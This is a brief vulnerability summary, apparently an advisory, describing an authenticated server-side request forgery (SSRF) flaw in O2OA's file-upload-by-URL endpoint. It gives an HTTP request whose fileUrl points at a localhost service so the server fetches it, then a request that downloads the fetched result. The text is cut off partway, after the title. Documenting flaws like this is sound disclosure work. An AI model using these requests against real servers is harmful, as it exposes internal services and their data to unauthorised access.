# Vulnerability Summary: O2OA Authentication SSRF Vulnerability ## Vulnerability Overview **Title**: Authenticated SSRF in `/x_file_assemble_control/jaxrs/file/upload/with/url` via unrestricted fileUrl fetching (O2OA Content-Type: application/json Cookie: { "fileUrl": "http://127.0.0.1:8081/ssrf_test.txt", "fileName": "ssrf_test.txt" } ``` **4. Download exploitation result:** ```bash GET /x_file_assemble_control/jaxrs/file/{returned_file_id}/download HTTP/1.1 Host: Cookie: ``` *(Note: `{returned_file_id}` is the file identifier returned in the response from the upload endpoint)*